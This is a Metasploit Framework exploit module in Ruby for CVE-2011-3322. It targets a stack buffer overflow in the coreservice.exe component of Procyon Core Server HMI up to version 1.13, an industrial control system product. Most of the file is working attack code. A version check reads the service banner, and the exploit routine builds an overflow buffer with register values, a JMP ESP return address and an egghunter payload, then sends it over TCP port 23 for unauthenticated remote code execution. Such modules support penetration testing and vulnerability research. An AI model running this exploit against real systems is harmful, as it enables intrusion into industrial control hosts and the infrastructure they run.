##
# $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability in the coreservice.exe component of Proycon
    Core Server <= v1.13. While processing a password, the application
    fails to do proper bounds checking before copying data into a small buffer on the stack.
    This causes a buffer overflow and allows to overwrite a structured exception handling
    record on the stack, allowing for unauthenticated remote code execution.  Also, after the
    payload exits, Coreservice.exe should automatically recover.
   },
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13724 $',
   'Author'         =>
    [
     'Knud Højgaard <keh[at]nsense.dk>',        # Initial discovery
     'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf
    ],
   'References'     =>
    [
     ['CVE', 'CVE-2011-3322'],
     ['OSVDB', '75371'],
     ['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],
     ['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => 'process',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [

     [
      'Windows XP SP3 - No dep bypass',
      {
       'Ret'    => 0x774699bf, # JMP ESP [user32.dll]
       'Edx'    => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
       'Eax'    => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
       'Offset' => 8
      }
     ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => "Sep 08 2011",
   'DefaultTarget'  => 0))

   register_options(
   [
    Opt::RPORT(23)
   ], self.class)
 end

 def check
  connect
  res = sock.get_once.chomp  #This gives us string "----------------------------"
  res = sock.get_once.chomp  #This gives us the actual software version
  disconnect

  if res =~ /Core Command Interface V1\.(.*)2/
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit

  eggoptions =
  {
   :checksum => false,
   :eggtag => 'ssec',
  }

  badchars = "\x00\x0a\x0d"
  hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

  sploit = rand_text_alpha_upper(45)
  sploit << [target['Edx']].pack('V')
  sploit << [0x41414141].pack('V')
  sploit << [target['Eax']].pack('V')
  sploit << rand_text_alpha_upper(target['Offset'])
  sploit << [target.ret].pack('V')
  sploit << make_nops(10)
  sploit << hunter
  sploit << rand_text_alpha_upper(500)
  sploit << egg
  sploit << "\r\n"

  connect
  sock.get_once()
  print_status("Sending request...")
  sock.put(sploit)
  handler()
  disconnect

 end

end